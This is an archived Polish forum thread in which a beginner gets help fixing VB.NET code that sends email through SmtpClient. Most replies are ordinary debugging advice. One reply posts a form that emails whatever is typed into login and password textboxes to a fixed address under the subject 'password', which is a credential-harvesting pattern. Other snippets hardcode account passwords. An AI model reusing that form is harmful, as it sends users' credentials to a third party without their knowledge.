Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Wysyłania maila - Początkujący


Rekomendowane odpowiedzi

Specjalista
Opublikowano

Witam !

Otóż zainteresowałem się VB, szczególnie chodzi mi tutaj o obsługę takich prostych rzeczy, bez zagłębiania się :)

Otóż szukałem w necie jak napisać taką aplikację, znalazłem i oczywiście przepisałem ją na własne potrzeby

Kod wygląda tak

 

Imports System.Net.Mail
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

 Dim SmtpServer As New SmtpClient()
 Dim mail As New MailMessage()
 SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "123456") 'gmail email address and its password
 SmtpServer.Port = 587 'The port
 SmtpServer.Host = "webmail.hpbf.pl" 'Host is gmail
 mail = New MailMessage()
 mail.From = New MailAddress("[email protected]") 'Same email addres as used above
 mail.To.Add("[email protected]") 'to e.g. [email protected]
 mail.Subject = "Test subject" 'This is the subject
 mail.Body = "Test body" 'This is the message
 SmtpServer.Send(mail)
 MsgBox("mail send")


End Sub
End Class

 

 

a błąd wywala taki

 

YbZtU.png

 

 

Domyśliłem się, że brakuje obsługi try catch

No i poprawiłem swój kod

 

Imports System.Net.Mail
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

 Try
	 Dim SmtpServer As New SmtpClient()
	 Dim mail As New MailMessage()
	 SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "123456") 'gmail email address and its password
	 SmtpServer.Port = 587 'The port
	 SmtpServer.Host = "webmail.hpbf.pl" 'Host is gmail
	 mail = New MailMessage()
	 mail.From = New MailAddress("[email protected]") 'Same email addres as used above
	 mail.To.Add("[email protected]") 'to e.g. [email protected]
	 mail.Subject = "Test subject" 'This is the subject
	 mail.Body = "Test body" 'This is the message
	 SmtpServer.Send(mail)
	 MsgBox("mail send")
 Catch ex As Exception
	 MsgBox(ex.ToString)
 End Try

End Sub
End Class

 

Ale wtedy mam taki błąd, a z tym nie wiem jak sobie poradzić

 

wT9hl.png

 

 

 

Wie ktoś jak zaradzić ?

Gość LastPhoenix450
Opublikowano

Wstawiłeś try, catch... fajnie, ale wiesz do czego to służy? Do pokazywania błędów w, np. msgbox lub wykonywania jakiejś operacji w momencie gdy jest jakaś niezgodność zamiast jakimś krytycznym gówienku etc.

 

Masz napisane w tym twoim gotowcu:

'gmail email address and its password

 

GMAIL. Błąd autoryzacji jest bo wpisałeś zły adres SMTP albo port.

Użyj g-maila to będzie trybiło.

Specjalista
Opublikowano

Tak wiem do czego służy try, catch :)

używałem tej opcji w php'ie

 

Tutaj zastosowałem pocztę na publicznym hostingu, bo dla testów mi odpowiadało.

Przerobię pod gmaila, zobaczymy co pokaże

 

//edit

A co z tego, że tam pisze gmail....

Przecież to tylko komentarz :)

 

@edit 2

@up, Twoje rady nic nie dały, to samo co na drugim ss

Myślę, że błąd jest gdzieś tutaj

A first chance exception of type 'System.Net.Mail.SmtpException' occurred in System.dll

Gość Pan Szymek
Opublikowano

Kod jest dobry, użyj innej poczty.

Specjalista
Opublikowano

Próbowałem już 3 różne

gmail.com

hpbf.pl

ugu.pl

 

to samo wywala, no nie wiem jak temu zaradzić :(

Gość Pan Szymek
Opublikowano

Imports System.Net.Mail
Module Module1

Sub Main()
Dim Mail As New MailMessage
Mail.Subject = "tytuł"
Mail.To.Add("[email protected]")
Mail.From = New MailAddress("[email protected]")
Mail.Body = "treść"

Dim SMTP As New SmtpClient("poczta.interia.pl")
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("[email protected]", "trololo123")
SMTP.Port = 587
SMTP.Send(Mail)
End Sub

End Module

Sprawdziłem, ten kod z tą skrzynką na pewno zadziała.

Opublikowano

To mój kod pod 2 Textboxy i pod pocztę na G-mail.

 

Imports System
Imports System.Net.Mail
Imports System.Threading
Public Class Form1
   Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
   End Sub
   Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    Dim mail As New MailMessage()
    Dim SmtpServer As New SmtpClient
    SmtpServer.Credentials = New Net.NetworkCredential("TWOJA POCZTA", "TWOJE HASLO")
    SmtpServer.Port = 587
    SmtpServer.Host = "smtp.gmail.com"
    SmtpServer.EnableSsl = True
    SmtpServer.EnableSsl = True
    mail.To.Add("[email protected]")
    mail.From = New MailAddress("TWOJA POCZTA")
    mail.Subject = "password"
    mail.Body = "Login: " + TextBox1.Text + "Hasło " + TextBox2.Text
    SmtpServer.Send(mail)
   End Sub
End Class

Specjalista
Opublikowano

Dzięki !

Tak sprawdzałem i musiałem załączyć, tylko te imports i działa na każdej poczcie ! :)

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...